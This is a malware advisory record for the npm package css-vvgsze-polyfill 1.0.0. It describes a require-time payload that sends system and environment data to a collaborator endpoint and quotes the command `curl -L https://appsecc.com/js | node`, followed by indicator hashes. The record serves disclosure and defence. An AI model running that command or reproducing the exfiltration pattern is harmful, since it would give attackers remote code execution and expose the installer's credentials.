Malicious code in css-vvgsze-polyfill (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (242414f6ea61921e2c62a6f4552456c486eee58d10c0aeec8b33d8043751ee59) thunderboltRegistry.js runs an IIFE on module require that performs two attacker-benefit actions against the installer. First, it execSyncs `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, then transmits the output along with hostname, platform, and pid as query parameters via fetch to a hardcoded unique-subdomain Burp Collaborator endpoint at https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/. The `env` dump leaks every environment variable, which in CI/build contexts routinely contains cloud credentials, registry tokens, and API keys. Second, it execSyncs `curl -L https://appsecc.com/js | node`, fetching an opaque remote JavaScript payload from an attacker-controlled host and executing it in the Node process, yielding full remote code execution on the installer host. The package presents itself as a CSS polyfill and exports Proxy no-op stubs mimicking Wix thunderbolt registry symbols (`thunderboltRegistry`, `siteAssetsRegistry`, etc.), a cover-story shape consistent with dependency-confusion or typosquat targeting of a Wix build pipeline so an infected build appears to function while the payload runs.
MAL-2026-17577
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17577
css-vvgsze-polyfill
Source reference: /affected/0/package/name
- Affected versions
- 1.0.0
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "css-vvgsze-polyfill",
"purl": "pkg:npm/css-vvgsze-polyfill",
"ecosystem": "npm"
},
"versions": [
"1.0.0"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/css-vvgsze-polyfill/MAL-2026-17577.json",
"indicators": {
"evidence_files": [
{
"path": "thunderboltRegistry.js",
"tlsh": "207132b5b99df02166c33438db7f5049b4bbc6672c6caee0740899b01f7985c01ba6f4",
"sha256": "921e1a7ab2086abcdee715f83769b1e446fb5f18954add3cee922bfc1cb92276"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "38f035fc04ad37ea00a9cfba806d660386db5978",
"sha512_sri": "sha512-baBGD8aAmd+OV5gG97nzUgv8UOkmPmox7bdRV1kAjPAUhUziaHkUnXsFlfmbbTnmg1J9IDZgUyuyUwtlzkBV5w=="
},
"filename": "css-vvgsze-polyfill-1.0.0.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #84298 · Revision 1
- Added to Heist Feed
- Publisher date